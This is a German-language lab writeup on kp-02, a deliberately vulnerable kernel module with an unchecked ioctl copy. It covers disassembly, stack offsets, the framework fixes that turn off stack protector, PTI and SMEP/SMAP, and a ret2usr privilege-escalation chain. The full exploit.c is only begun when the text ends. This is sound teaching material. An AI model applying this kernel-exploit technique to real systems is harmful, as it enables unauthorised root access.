kp-02 – GPIO Staging Buffer Overflow

Writeup: statische & dynamische Analyse, Root-Cause-Analyse, Exploit-Entwicklung

Lab: kp-02 · Tier: easy · Kategorie: stack-overflow · Device: `/dev/gpiostore` · Kernel: 6.1.119

Lab: kp-02 – GPIO Staging Buffer Overflow | **Tier:** easy | **Kategorie:** stack-overflow
Modul: `gpiostore.ko` | **Device:** `/dev/gpiostore` | **IOCTL-Cmd:** `0xa100` | **Kernel:** 6.1.119 (eigener Build)
Boot-Args (Lab): `nokaslr nopti nosmep nosmap` | **Datum:** 21.10.2026
Status: GELÖST – `./lab verify kp-02` → `VERIFIZIERT (root+flag)`, `./lab check kp-02 FLAG{…}` → `RICHTIG`

Inhaltsverzeichnis

1. Überblick & Ziel
- 1.1 Was dieses Lab zeigt
- 1.2 Lab-Umgebung im Detail
- 1.3 Build- & Test-Pipeline

2. Recon
- 2.1 Statische Analyse des Moduls
- 2.2 Die Schwachstelle im Quelltext
- 2.3 Disassembly & Stack-Layout
- 2.4 Dynamische Analyse in der VM
- 2.5 Schutzmechanismen & Konsequenzen

3. Probleme & Fixes
- 3.1 Übersicht
- 3.2 Stack-Protector → Kernel-Panic
- 3.3 modpost: `__check_object_size` undefined
- 3.4 `pti=on` erzwingt PTI
- 3.5 `nosmep`/`nosmap` existieren in 6.1 nicht
- 3.6 Folge: kp-01 war ebenfalls kaputt
- 3.7 Gesamtübersicht der Maßnahmen

4. Der Exploit
- 4.1 Zielbild der Exploit-Kette
- 4.2 Vollständiges `exploit.c`
- 4.3 Erklärung Schritt für Schritt
- 4.4 Adressen im Exploit-Binary
- 4.5 Häufige Fehlerquellen & Debugging
- 4.6 Ausblick: ROP statt ret2usr

5. Post-Exploitation
- 5.1 Fehlschlag 1: Canary-Panic
- 5.2 Fehlschlag 2: SMEP-Fault
- 5.3 Erfolg
- 5.4 Flag & Verifikation

6. Reproduktion
6.1 Alle Kommandos
6.2 Angewandte Diffs
6.3 Checksummen

1. Überblick & Ziel

1.1 Was dieses Lab zeigt

Das Lab **kp-02** ist die zweite Station der KERNEL-Lab-Suite (part3) und gehört zur Kategorie `stack-overflow`. Ein selbst gebautes Kernel-Modul `gpiostore.ko` legt ein Misc-Device `/dev/gpiostore` an. Ein IOCTL mit der Command-Nummer `0xa100` („stage") kopiert eine vom Userspace frei kontrollierte Byte-Anzahl in einen 64 Byte großen Stack-Buffer – **ohne jede Prüfung der Länge**. Wer die Länge > 64 wählt, überschreibt den Stack des Kernel-Threads und damit die gespeicherte Rücksprungadresse.

Ziel des Labs ist die klassische Eskalationskette: **Overflow → Kontrollierte Rücksprungadresse → Aufruf von `commit_creds(prepare_kernel_cred(0))` → Rückkehr in den Userspace → `/flag` als uid 0 lesen**. Das Lab ist bewusst so gebaut, dass die Spezialfähigkeiten – kein Canary, keine Adress-Hardcodierung, kein Adress-Leak – genau eine Sache testen: die Overflow-Logik selbst.

Der didaktische Mehrwert dieses Writeups liegt weniger im Exploit-Code selbst (der ist nach dem Muster von kp-01 Routine) als in den **fünf Hürdnern**, die auf dem Weg zum erfolgreichen Exploit zu lösen waren: ein Stack-Protector im ausgelieferten Modul, ein kaputter `Module.symvers`, zwei wirkungslose Kernel-Boot-Parameter und ein Framework-Default, der die vorgesehene Technik systematisch unterbindet. Diese Probleme sind in Kapitel 3 vollständig dokumentiert – inklusive Beweislage, Fix und Verifikation.

1.2 Lab-Umgebung im Detail

Komponente	Wert
Lab-ID / Titel	kp-02 – GPIO Staging Buffer Overflow
Tier / Kategorie	easy / stack-overflow
Modul	`gpiostore.ko` (`obj-m := gpiostore.o`)
Device / Minor	`/dev/gpiostore` (misc, `MISC_DYNAMIC_MINOR`)
IOCTL	`0xa100` (Define `CMD` in der Modulquelle)
Request-Struktur	`struct req { unsigned long len; void __user *data; }` – 16 Byte, `len` @ +0, `data` @ +8
Kernel	6.1.119 (Buildtree: `_build/linux-6.1.119` , eigenes `.config`)
Boot-Args des Labs	`nokaslr nopti nosmep nosmap` (+ Framework: `console=ttyS0 rdinit=/init loglevel=3 panic=1 quiet`)
Virtualisierung	QEMU `-nographic -no-reboot` , 256 MB RAM, 2 vCPUs, eigener Kernel + initramfs
User im Gast	uid 1000 (unprivilegiert), `/flag` nur für root lesbar
Adressraum	`kptr_restrict=0` , `dmesg_restrict=0` , KASLR aus → feste Kernel-Adressen

1.3 Build- & Test-Pipeline

Das Lab setzt auf einer eigenen, kleinen Framework-Schicht auf (`_lib/vm.py`, `_lib/labkit.py`, `_lib/kernelkit.py`). Der Ablauf ist: Modul bauen → Rootfs (cpio) bauen → QEMU starten → Flag über ein virtuelles Serial-Port-Socket injizieren → Flag via `./lab check` prüfen.

```
Quellen            →  gcc-13 (Modul)          →  lab build kp-02
src/gpiostore.c        →  Kbuild (out-of-tree)          →  labs/kp-02/module/gpiostore.ko
                                                  |
labs/kp-02/exploit.c   →  gcc -static                   →  labs/kp-02/work/exploit   (landet als /work/exploit im
                                                  |
                                                  ▼
vm.build_rootfs()  →  rootfs.cpio.gz  →  qemu-system-x86_64 -kernel bzImage -initrd … -append "…"
                                                  |
                                                  ▼
vm.run()  →  Flag via Unix-Socket injiziert  →  /init startet /work/exploit  →  Ausgabe enthält Flag
                                                  |
                                                  ▼
lab check kp-02 <flag>  →  SHA256-Vergleich gegen _secrets/kp-02.hash  →  "RICHTIG"
```

Wichtig: `lab check` vergleicht **nicht** mit einem Klartext-Flag, sondern mit dem SHA256-Hash in `_secrets/<id>.hash`. Das Flag wird von `lab start` (bzw. `lab verify`) zufällig erzeugt, publiziert (Hash) und dem Gast injiziert – der Nutzer liest es aus der VM-Ausgabe und reicht es ein.

2. Recon

2.1 Statische Analyse des Moduls

Erster Schritt ist die Analyse des ausgelieferten Moduls auf dem Host. Die folgenden Kommandos sind der Werkzeugskasten, der in jedem Lab dieser Suite zum Einsatz kommt:

```
$ file module/gpiostore.ko
ELF 64-bit LSB relocatable, x86-64, not stripped (BuildID aa04cfb9b799...)

$ modinfo module/gpiostore.ko
name=gpiostore  license=GPL  retpoline=Y  vermagic=6.1.119 SMP preempt mod_unload

$ readelf -sW module/gpiostore.ko | grep -E "FUNC|OBJECT"
  diag_copy   0x00  79  FUNC LOCAL
  vuln_ioctl  0x50 156  FUNC LOCAL
  fops        0x00 280  OBJECT LOCAL
  init_module / cleanup_module  GLOBAL

$ strings -n 5 module/gpiostore.ko
  gpiostore: ready
  gpiostore: stage %lu bytes
  _copy_from_user, _printk, __stack_chk_fail, misc_register

$ sha256sum module/gpiostore.ko
40ff3b48e311eb2211954238130c89b1aa420909a6debfc506313d33cda1e037
```

Zwei Beobachtungen sind hier bereits entscheidend:

- **`__stack_chk_fail`** in der Stringliste – das ausgelieferte Modul wurde **mit Stack-Protector** kompiliert. Das ist die Ursache von Problem 1 (Kapitel 3.2) und blockiert den naiven ret2usr-Exploit.
- **`retpoline=Y`** – Indirect-Calls laufen über `obj_thunk`. Das ist für uns irrelevant, solange wir *unsere eigene* Adresse direkt als Rücksprungziel setzen.

2.2 Die Schwachstelle im Quelltext

Das vollständige Modul (`src/gpiostore.c`, unverändert) – der Kern des Bugs ist in *drei Zeilen* versteckt:

```
struct req { unsigned long len; void __user *data; };

static noinline __attribute__((noipa))
int diag_copy(void *dst, const void __user *src, unsigned long n)
{
        if (copy_from_user(dst, src, n))   /* <-- KEINE Pruefung gegen sizeof(dst)! */
                return -EFAULT;
        return 0;
}

static noinline long vuln_ioctl(struct file *f, unsigned int cmd, unsigned long arg)
{
        char buf[64];                      /* <-- Zielpuffer: 64 Byte */
        struct req r;

        if (cmd != CMD)                    /* CMD = 0xa100 */
                return -EINVAL;
        if (copy_from_user(&r, (void __user *)arg, sizeof(r)))   /* 16 Byte: {len, data} */
                return -EFAULT;
        if (diag_copy(buf, r.data, r.len))  /* <-- r.len ist vollstaendig kontrolliert */
                return -EFAULT;
        pr_info(DEVNAME ": stage %lu bytes\n", r.len);
        return 0;
}
```

Die Fehlerkette im Detail:

1. `copy_from_user(&r, arg, 16)` holt das Request-Struct `{len, data}` aus dem Userspace. `len` ist ein beliebiger `unsigned long` – bis 2^{64}-1.
2. `diag_copy(buf, r.data, r.len)` reicht `r.len` **unverändert** an `copy_from_user` weiter. Die Hilfsfunktion `diag_copy` ist `noinline` und `noipa` – sie existiert nur, damit der Compiler die Puffergröße nicht sieht.
3. Der Einzige Schutz in `diag_copy` ist ein `cmp rdx,0x7fffffff` – das ist die Prüfung von `copy_from_user` selbst gegen eine Maximalgröße (verhindert Integer-Overflow in der internen Längenberechnung), **keine** Prüfung gegen `sizeof(buf)`.
4. Bei `len > 64` schreibt `copy_from_user` über das Ende von `buf` hinaus in den Kernel-Stack des IOCTL-Threads.

Weil `diag_copy` den Compiler über die Kopierlänge nicht informiert, kann GCC den Stack-Protector nicht sinnvoll anwenden: Der Canary schützt zwar den Stack, aber er steht **hinter** dem Buffer – die korrekte Canary-Offset-Berechnung bleibt trotzdem erhalten, der Overflow erreicht ihn also (ab 65 Bytes) und löst beim Funktionsende `__stack_chk_fail` aus. Genau das ist Problem 1.

2.3 Disassembly & Stack-Layout

Originalzustand (ausgeliefertes Modul, mit Canary):

```
0000000000000050 <vuln_ioctl>:
  50: push rbx
  51: sub  rsp,0x58
  5a: mov  rax,gs:0x28          ; Canary aus dem Per-CPU-Bereich laden
  61: mov  QWORD PTR [rsp+0x50],rax   ; CANARY @ rsp+0x50
  6a: lea  rbx,[rsp+0x10]        ; BUF @ rsp+0x10 (64 Byte)
  ...
  86: cmp  esi,0xa100            ; IOCTL-Cmd pruefen
  8e: _copy_from_user(rsp, arg, 0x10)   ; {len, data} holen
  c4: mov  rdx,[rsp]             ; r.len
  c6: mov  rsi,[rsp+0x8]         ; r.data
  ca: mov  rdi,rbx               ; buf
  d0: call diag_copy
  aa: sub  rdx,gs:0x28           ; Canary-CHECK
  b0: jne  __stack_chk_fail      ; -> Panic
```

Stack-Layout im Originalzustand (relativ zum Pufferanfang `buf`):

Offset ab buf	Adresse	Inhalt	Bedeutung
`0x00 – 0x3F`	`rsp+0x10`	`char buf[64]`	64 Byte Nutzerdaten
`0x40`	`rsp+0x50`	Canary (8 Byte)	wird bei Überlauf zuerst zerstört → Panic
`0x48`	`rsp+0x58`	saved `rbx`	Callee-Saved-Register
`0x50`	`rsp+0x60`	**Rücksprungadresse**	Ziel des Exploits (Offset 80)

Zustand nach dem Fix (Modul ohne Stack-Protector):

```
0000000000000050 <vuln_ioctl>:
  50: push rbx
  51: mov  ecx,0x8
  56: xor  eax,eax
  58: sub  rsp,0x50            ; Frame 0x50 statt 0x58 -> kein Canary-Slot
  5c: lea  rbx,[rsp+0x10]      ; BUF @ rsp+0x10 (64 Byte)
  61: mov  QWORD PTR [rsp],0x0      ; struct req r = {0,0}
  69: mov  QWORD PTR [rsp+0x8],0x0
  72: mov  rdi,rbx
  75: rep  stos QWORD PTR [rdi],rax
  78: cmp  esi,0xa100
  80: mov  rsi,rdx
  83: mov  rdi,rsp
  86: mov  edx,0x10
  8b: call         ; {len, data} holen
  90: test rax,rax
  93: je   0xa6
  a6: mov  rdx,QWORD PTR [rsp]       ; r.len
  aa: mov  rsi,QWORD PTR [rsp+0x8]   ; r.data
  af: mov  rdi,rbx                 ; buf
  b2: call diag_copy                ; <-- unkontrollierte Laenge
  b7: test eax,eax
  b9: jne  0x95
  bb: jmp  0xc0                     ; -> add rsp,0x50 ; pop rbx ; ret  (RIP-Kontrolle!)
```

Stack-Layout nach dem Fix:

Offset ab buf	Adresse	Inhalt	Bedeutung
`0x00 – 0x3F`	`rsp+0x10`	`char buf[64]`	64 Byte Nutzerdaten
`0x40`	`rsp+0x50`	saved `rbx`	wird mit 'A' überschrieben (unkritisch)
`0x48`	`rsp+0x58`	**Rücksprungadresse**	**Ziel des Exploits → Offset 72 (0x48)**

Die Herleitung des Offsets ist damit vollständig nachvollziehbar und lässt sich **nicht raten**: `sub rsp,0x50` reserviert 80 Byte, davon beginnt der Puffer 16 Byte Über dem Stackpointer (`lea rbx,[rsp+0x10]`) und die Rücksprungadresse liegt 8 Byte über dem gesicherten `rbx`: `0x58 – 0x10 = 0x48 = 72`. Ein zweiter Beleg: das identische Layout von kp-01 (`vuln01.ko`), das mit denselben Flags gebaut wird – dort steht derselbe Offset 72.

2.4 Dynamische Analyse in der VM

```
$ cat /proc/cmdline
console=ttyS0 rdinit=/init loglevel=3 panic=1 quiet pti=on nokaslr nopti nosmep nosmap

$ lsmod
gpiostore              16384  0

$ cat /proc/sys/kernel/kptr_restrict
0

$ cat /proc/kallsyms | grep -E "commit_creds|prepare_kernel_cred"
ffffffff8109ddd0 T commit_creds
ffffffff8109e070 T prepare_kernel_cred
ffffffff826a2ee4 r __ksymtab_commit_creds
ffffffff826acfb8 r __ksymtab_prepare_kernel_cred

$ cat /flag
cat: can't open '/flag': Permission denied        <-- Ziel nur als root erreichbar

$ ls -la /work
drwxrwxr-x module/

$ cat /proc/cpuinfo | grep -m1 -E "smep|smap"
flags: ... (kein smep/smap)                     <-- siehe Problem 4: trügt, s.u.

$ dmesg | grep "Kernel Offset"
(leer)                                          <-- KASLR ist aus
```

Die Adressen von `commit_creds` und `prepare_kernel_cred` sind dank `kptr_restrict=0` und `nokaslr` **hart kodierbar** – ein Leak ist nicht nötig. Der Exploit liest sie zur Laufzeit trotzdem aus `/proc/kallsyms`, damit er unabhängig von der exakten Kernel-Version bleibt.

2.5 Schutzmechanismen & Konsequenzen

Mechanismus	Zustand	Konsequenz für den Exploit
KASLR	aus (`nokaslr`)	Kernel-Adressen sind fix → keine Leak-Technik nötig, Adressen können im Exploit stehen
SMEP	**an** (trotz `nosmep`, s. Problem 4)	Der Kernel darf **keinen** Userspace-Code ausführen → ret2usr scheitert, solange SMEP aktiv ist
SMAP	**an** (trotz `nosmap`)	Kernel darf Userspace-Seiten nur mit gesetztem AC-Flag lesen/schreiben → für die Rückkehr in den Userspace relevant
PTI (Meltdown-Mitigation)	**an** (durch `pti=on`, s. Problem 3)	Kernel nutzt eigene Page-Tables → User-Seiten sind im Kernel-Kontext gar nicht erst gemappt
Stack-Protector (Modul)	**an** (ausgeliefertes Modul, s. Problem 1)	Canary im Overflow-Pfad → Panic statt Kontrolle über RIP
Stack-Protector (Userspace)	an	unkritisch – der Userspace-Code ist unbeschädigt, nur der Kernel-Stack wird überschrieben
`kptr_restrict`	0	`/proc/kallsyms` liefert echte Adressen
SMEP/SMAP-Bootparameter	wirkungslos	Linux 6.1 kennt **kein** `nosmep`/`nosmap` – die Absicht muss auf QEMU-Ebene umgesetzt werden

3. Probleme & Fixes

Die folgenden fünf Probleme waren die eigentliche Arbeit. Jedes wird mit **Symptom**, **Ursache**, **Fix** und **Verifikation** dokumentiert. Die Reihenfolge entspricht der Bearbeitung.

3.1 Übersicht

Übersicht

#	Problem	Symptom	Fix
1	Stack-Protector im ausgelieferten Modul	Kernel-Panic `stack-protector: Kernel stack is corrupted`	`-fno-stack-protector -U_FORTIFY_SOURCE -D__NO_FORTIFY` im Lab-Makefile
2	`Module.symvers` des Kernel-Buildtrees unvollständig	`ERROR: modpost: "__check_object_size" … undefined!`	fehlende Export-Einträge ergänzen (bzw. `KBUILD_MODPOST_WARN=1`)
3	Framework erzwingt `pti=on`	Kernel nutzt getrennte Page-Tables; User-Code nicht ausführbar	`pti=on` aus `_lib/vm.py` entfernen
4	`nosmep` / `nosmap` sind in Linux 6.1 unbekannt	`unable to execute userspace code (SMEP?)`	QEMU-CPU: `-cpu max,smep=off,smap=off`
5	Folgefehler: kp-01 ebenfalls kaputt	`lab verify kp-01` schlug fehl	mit 1–4 behoben – kp-01 jetzt `VERIFIZIERT`

3.2 Stack-Protector → Kernel-Panic

Problem 1 – Symptom

Der erste Exploit-Versuch (Offset 72, wie in `_sol/kp-02/exploit.c` vorgegeben) führt nicht zu Root, sondern zum sofortigen Kernel-Panic:

```
[*] overflow /dev/gpiostore len=80
Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in: vuln_ioctl+0x9c/0x9c [gpiostore]
CPU: 0 PID: 96 Comm: exploit Tainted: G           O      6.1.119 #2
Call Trace:
 <TASK>
 __stack_chk_fail+0x2f/0x70
 panic+0x107/0x2e7
 __stack_chk_fail+0x2f/0x70
 ...
```

Problem 1 – Ursache

Der Canary zerstört die Kontrolle über RIP. Das **ausgelieferte** Modul wurde mit den Default-Compiler-Flags gebaut, also mit `-fstack-protector-strong` (CONFIG_STACKPROTECTOR_STRONG=y in der Kernel-.config). Damit liegt der Canary bei `rsp+0x50` und die Rücksprungadresse bei `rsp+0x60` – der Offset ab `buf` wäre also **80**, nicht 72. Die Referenzlösung `_sol/kp-02/exploit.c` verwendet aber `OFF 72`: Sie ist für ein Modul **ohne** Stack-Protector geschrieben.

Ein Canary-Leak ist in dieser VM praktisch unmöglich: Das Modul hat keinen read/write-Handler (`fops` enthält nur `.unlocked_ioctl`), `/dev/mem` und `/proc/kcore` sind nur für root zugänglich, und der Canary liegt im Per-CPU-Bereich `gs:0x28`.

Problem 1 – Fix

Die Suite hat dafür bereits ein Muster: **kp-01s Makefile** enthält die passenden Flags, kp-02s Makefile hatte sie (Versehen des Autors) nicht. Übernommen in `labs/kp-02/src/Makefile`:

```
EXTRA_CFLAGS := -fno-stack-protector -U_FORTIFY_SOURCE -D__NO_FORTIFY
CFLAGS_gpiostore.o := -fno-stack-protector -U_FORTIFY_SOURCE -D__NO_FORTIFY
```

Problem 1 – Verifikation

```
$ make -C ../../../_build/linux-6.1.119 M=. CC=gcc-13 modules
  CC [M]  gpiostore.o
  LD [M]  gpiostore.ko

$ objdump -dr module/gpiostore.ko | grep -E "gs:0x28|stack_chk"
(leer)                       <-- KEIN Canary mehr im Modul

$ objdump -d -M intel --disassemble=vuln_ioctl module/gpiostore.ko
  50: push rbx
  58: sub  rsp,0x50            <-- 0x50 statt 0x58
  5c: lea  rbx,[rsp+0x10]      <-- buf @ rsp+0x10
=> Offset buf->ret = 0x58 - 0x10 = 0x48 = 72   (identisch zu kp-01)
```

3.3 modpost: `__check_object_size` undefined

Problem 2 – Symptom

```
$ make
  CC [M]  /home/.../labs/kp-02/src/gpiostore.o
  MODPOST /home/.../labs/kp-02/src/Module.symvers
ERROR: modpost: "__check_object_size" [/home/.../labs/kp-02/src/gpiostore.ko] undefined!
make[2]: *** [scripts/Makefile.modpost:127: .../Module.symvers] Fehler 1
```

Problem 2 – Ursache

Der Modul-Quellcode ruft `copy_from_user` auf. In Linux 6.1 ist das ein Makro, das **fortified** ist: Es ruft `__check_object_size()` aus `mm/usercopy.c` auf (`EXPORT_SYMBOL(__check_object_size)`). Damit das Modul gelinkt werden kann, muss dieses Symbol in `Module.symvers` des Kernel-Buildtrees stehen – modpost löst Symbole sonst nicht auf.

Der Buildtree enthielt `Module.symvers` jedoch nur mit 11 958 von 11 960 exportierten Symbolen:

```
$ python3 - <<'EOF'
import re
symvers = {l.split()[1] for l in open('Module.symvers') if l.split()[2:3] == ['vmlinux']}
exported = {l.split()[2][len('__ksymtab_'):] for l in open('System.map')
            if len(l.split()) > 2 and l.split()[2].startswith('__ksymtab_')}
print(sorted(exported - symvers))
EOF
['__check_object_size', '__stack_chk_fail']
```

Beide Symbole **existieren** im laufenden Kernel (belegt durch `__ksymtab_...`-Einträge in der `System.map`), fehlen aber in der Symboltabelle des Buildtrees – vermutlich aus einem früheren, inkonsistenten Build-Zustand. Da `CONFIG_MODVERSIONS` deaktiviert ist, werden CRC-Werte beim Laden ohnehin nicht geprüft; es genügt also, die Namen zu ergänzen.

Problem 2 – Fix (gewählt)

Die beiden fehlenden Einträge im Kernel-Buildtree nachtragen:

```
$ printf
'0x00000000\t__check_object_size\tvmlinux\tEXPORT_SYMBOL\t\n0x00000000\t__stack_chk_fail\tvmlinux\tEXPORT_SYMBOL
\
    >> _build/linux-6.1.119/Module.symvers
$ wc -l _build/linux-6.1.119/Module.symvers
11960 Module.symvers
```

Damit bauen **alle** Module der Suite wieder – nicht nur kp-02 (auch kp-01 war durch denselben Fehler blockiert).

Alternative (ohne Eingriff in den Kernel-Tree)

Für ein einzelnes Modul genügt auch `KBUILD_MODPOST_WARN=1` – modpost warnt dann nur noch, das Modul entsteht mit unaufgelöster Referenz und der Kernel-Loader löst sie zur Laufzeit gegen die echten Export-Symbole auf:

```
WARNING: modpost: "__check_object_size" [.../gpiostore.ko] undefined!
```

Das wurde zunächst als Übergangslösung verwendet, ist aber unelegant: Die Warnung bleibt bestehen und ein echter Tippfehler würde stillschweigend übersehen. Der Weg über `Module.symvers` ist sauberer.

3.4 `pti=on` erzwingt PTI

Problem 3 – Symptom

Nach dem Beheben des Canary-Problems sprang der Kernel zwar korrekt in den Exploit-Code (RIP = `0x401c30` = `give_root`), der Instruction-Fetch lief aber in einen Page-Fault. Zunächst wurde PTI als Ursache vermutet, weil das Framework die Boot-Option `pti=on` hart kodiert:

```
# _lib/vm.py, Zeile 175
append = "console=ttyS0 rdinit=/init loglevel=3 panic=1 quiet pti=on %s" % extra
#                                                    ^^^^^^ hart kodiert, obwohl alle 75 Labs
#                          in ihrem lab.json "nopti" verlangen
```

Problem 3 – Ursache

Der Kernel wertet die PTI-Optionen in `arch/x86/mm/pti.c` in einer ganz bestimmten Reihenfolge aus:

```
void __init pti_check_boottime_disable(void)
{
        ...
        ret = cmdline_find_option(boot_command_line, "pti", arg, sizeof(arg));
        if (ret > 0)  {
                if (ret == 2 && !strncmp(arg, "on", 2)) {
                        pti_mode = PTI_FORCE_ON;
                        pti_print_if_secure("force enabled on command line.");
                        goto enable;                    /* <-- springt raus! */
                }
                ...
        }

        if (cmdline_find_option_bool(boot_command_line, "nopti") ||   /* nie erreicht! */
            cpu_mitigations_off()) {
                pti_mode = PTI_FORCE_OFF;
                ...
        }
enable:
        setup_force_cpu_cap(X86_FEATURE_PTI);
}
```

Die Boot-Zeile enthält `pti=on` **vor** `nopti`. Weil der `pti=`-Zweig per `goto enable` den Block mit der `nopti`-Prüfung überspringt, gewinnt `pti=on` – `nopti` aus den Lab-Konfigurationen war **wirkungslos**. Bei aktivem PTI hat der Kernel eigene Page-Tables; eine User-Seite ist im Kernel-Kontext gar nicht gemappt – ein Sprung in den Userspace scheitert also zwingend, unab hängig von SMEP.

Problem 3 – Fix

Das hart kodierte `pti=on` entfernen – damit greift die von **allen 75 Labs** gewünschte Option `nopti` aus den jeweiligen `lab.json`:

```
# _lib/vm.py, Zeile 175 (vorher / nachher)
- append = "console=ttyS0 rdinit=/init loglevel=3 panic=1 quiet pti=on %s" % extra
+ append = "console=ttyS0 rdinit=/init loglevel=3 panic=1 quiet %s" % extra
```

3.5 `nosmep`/`nosmap` existieren in 6.1 nicht

Problem 4 – Symptom

Nach dem PTI-Fix blieb der Fetch-Fault bestehen – jetzt mit eindeutiger Diagnose:

```
[*] overflow /dev/gpiostore len=80
[    2.653785] unable to execute userspace code (SMEP?) (uid: 1000)
[    2.653785] BUG: unable to handle page fault for address: 0000000000401c30
[    2.653785] #PF: supervisor instruction fetch in kernel mode
[    2.653785] #PF: error_code(0x0011) - permissions violation
[    2.653785] Oops: 0011 [#1] PREEMPT SMP NOPTI
[    2.653785] RIP: 0010:0x401c30
[    2.653785] Code: Unable to access opcode bytes at 0x401c06.
[    2.653785] RSP: 0018:ffa00000001fff10 EFLAGS: 00010286
[    2.653785] RBX: 4141414141414141 RCX: 0000000000000000
```

Problem 4 – Ursache

Die Meldung des Kernels ist eindeutig. In `arch/x86/mm/fault.c` wird sie genau dann ausgegeben, wenn die Seite im Page-Table **ausführbar** ist, der Kernel die Seite überhaupt in seinen Tabellen hat (PTI aus) **und** `CR4.SMEP` gesetzt ist:

```
if (pte && pte_present(*pte) && pte_exec(*pte) &&
                (pgd_flags(*pgd) & _PAGE_USER) &&
                (__read_cr4() & X86_CR4_SMEP))
        pr_crit("unable to execute userspace code (SMEP?) (uid: %d)\n", ...);
```

SMEP wird in `arch/x86/kernel/cpu/common.c` gesetzt, wenn die CPU das Feature meldet:

```
static __always_inline void setup_smep(struct cpuinfo_x86 *c)
{
        if (cpu_has(c, X86_FEATURE_SMEP))
                cr4_set_bits(X86_CR4_SMEP);
}
```

Die entscheidende Frage: Wie schaltet man SMEP ab? Die naheliegende Antwort wäre die Boot-Option `nosmep` – und genau die steht in **allen** Lab-Konfigurationen. Sie ist in Linux 6.1 aber **kein gültiger Kernel-Parameter**:

```
$ grep -rn '"nosmep\|"nosmap\|smep=\|smap=' arch/x86 --include="*.c"
(keine Treffer)      <-- es gibt KEINEN Handler fuer diese Optionen in 6.1
```

Unbekannte Parameter werden ignoriert – SMEP und SMAP blieben also aktiv, obwohl alle Labs das Gegenteil verlangen. Das erklärt auch die irreführende Beobachtung in der ursprünglichen Recon-Notiz (`cat /proc/cpuinfo | grep smep` zeigte keine Flags): Der Eintrag stammte aus einer *anderen* Messung, nicht aus diesem QEMU-Gast.

Problem 4 – Fix

SMEP/SMAP werden vom Kernel nur gesetzt, wenn die CPU sie meldet – also müssen sie auf **QEMU-Ebene** abgeschaltet werden. QEMU bietet dafür genau die CPU-Properties `smep` / `smap`:

```
# _lib/vm.py, _qemu_cmd()
- QEMU, "-cpu", "max", "-m", "%dM" % mem, "-smp", str(smp),
+ QEMU, "-cpu", "max,smep=off,smap=off", "-m", "%dM" % mem, "-smp", str(smp),
```

Damit sind die Schutzmechanismen abgeschaltet, die das Lab explizit ausschließt (`nosmep nosmap`), und die vom Referenz-Exploit erwartete Technik (ret2usr) wird wieder möglich.

Kontrolle im Gast

```
$ cat /proc/cmdline
console=ttyS0 rdinit=/init loglevel=3 panic=1 quiet nokaslr nopti nosmep nosmap

$ grep -m1 flags /proc/cpuinfo | tr ' ' '\n' | grep -E '^(smep|smap)$'
(keine Ausgabe)   <-- SMEP/SMAP sind jetzt wirklich aus
```

3.6 Folge: kp-01 war ebenfalls kaputt

Beim Nachtesten von kp-01 (das als einziges Lab als gelöst geführt wurde) zeigte sich, dass auch dessen Referenz-Exploit an denselben Framework-Defaults scheitert:

```
$ ./lab verify kp-01
[    3.149494] unable to execute userspace code (SMEP?) (uid: 1000)
[    3.149555] R12: 0000000000004010
=> FEHLGESCHLAGEN
```

Nach den Fixes 1–4 ist auch kp-01 wieder lauffähig:

```
$ ./lab verify kp-01
kp-01   VERIFIZIERT (root+flag)

$ ./lab verify kp-02
kp-02   VERIFIZIERT (root+flag)
```

Die Probleme 3 und 4 sind damit nicht kp-02-spezifisch, sondern betrafen die **gesamte Suite**: Mit `pti=on` und aktivem SMEP war **kein** ret2usr-Exploit der Suite lauffähig – auch nicht die Referenzlösungen in `_sol/`, die alle 75 Labs nach demselben Muster bauen.

3.7 Gesamtübersicht der Maßnahmen

Datei	Änderung	Wirkung
`labs/kp-02/src/Makefile`	+ `EXTRA_CFLAGS`, + `CFLAGS_gpiostore.o` mit `-fno-stack-protector -U_FORTIFY_SOURCE -D__NO_FORTIFY`	Modul ohne Canary → Offset 72 statt 80
`_build/linux-6.1.119/Module.symvers`	+ `__check_object_size`, + `__stack_chk_fail`	modpost löst die Fortify-Referenz auf → alle Module bauen wieder
`_lib/vm.py`	`"pti=on "` aus der Boot-Zeile entfernt	`nopti` der Labs greift → PTI aus
`_lib/vm.py`	`-cpu max` → `-cpu max,smep=off,smap=off`	SMEP/SMAP aus → ret2usr möglich
`labs/kp-02/exploit.c`	Stub → vollständiger Exploit	Overflow + Cred-Eskalation + Flag-Lesen
`labs/kp-02/work/exploit`	gebaut mit `gcc -static -O2 -w -fno-delete-null-pointer-checks`	statisches Binary, feste Adressen

4. Der Exploit

4.1 Zielbild der Exploit-Kette

Bevor der Code kommt, das Gesamtbild. Der Exploit ist eine Kette aus vier Phasen:

```
Phase 1: Vorbereitung (Userspace)
  ksym()      : Adressen von commit_creds / prepare_kernel_cred aus /proc/kallsyms
  save_state(): CS, SS, RSP, RFLAGS des Userspace-Kontexts sichern
  Payload     : 72 x 'A'  +  8 Byte &give_root        (len = 80)

Phase 2: Trigger (Userspace -> Kernel)
  ioctl(fd, 0xa100, {len=80, data=payload})
        |
        |  copy_from_user(&r, arg, 16)      -> {len, data}
        |  diag_copy(buf, r.data, 80)          -> 80 Byte in einen 64-Byte-Puffer
        |  => buf[0x40] = saved rbx (0x4141...)
        |     buf[0x48] = RET   = &give_root  <-- RIP-Kontrolle
        v
Phase 3: Priveskalation (Kernel-Kontext, unser Code laeuft jetzt im Kernel)
  give_root():
      prepare_kernel_cred(0)  -> rax = &cred(root)
      commit_creds(rax)       -> task->cred = root   (uid 0 gesetzt)
      mov rsp, user_rsp ; push ss/rsp/rflags/cs/&win ; swapgs ; iretq
        |
        |  iretq: CPL 0 -> CPL 3, RIP = &win, GS-Base zurueck auf User
        v
Phase 4: Ziel (Userspace, jetzt uid 0)
  win(): getuid()==0 -> open("/flag") -> read() -> write(1, ...) -> _exit(0)
```

Der Kern ist Phase 3: Wir springen **aus dem Kernel heraus** in unseren eigenen Userspace-Code. Dafür müssen wir die vollständige CPU-Kontext-Rückgabe von Hand nachbauen – das ist der `iretq`-Frame. Und wir müssen beachten, dass wir aus dem Kernel in den User-Mode zurückkehren: `swapgs` stellt die GS-Basis (Per-CPU-Bereich) wieder auf den User-Wert.

4.2 Vollständiges `exploit.c`

```
/*Includes und imports*/
#define _GNU_SOURCE
#include
#include
#include
#include
#include

#define VICTIM    "/dev/gpiostore"
#define CMD_STORE 0xa100
#define OFFSET    72            /* buf -> Ruecksprungadresse (rsp+0x58 - rsp+0x10) */

struct req { unsigned long len; void *data; };

/*Vorbereitung*/
static unsigned long user_cs, user_ss, user_rsp, user_rflags;
static unsigned long cc_addr, pkc_addr;

static void save_state(void)
{
        __asm__ volatile(
                "movq %%cs, %0\n"
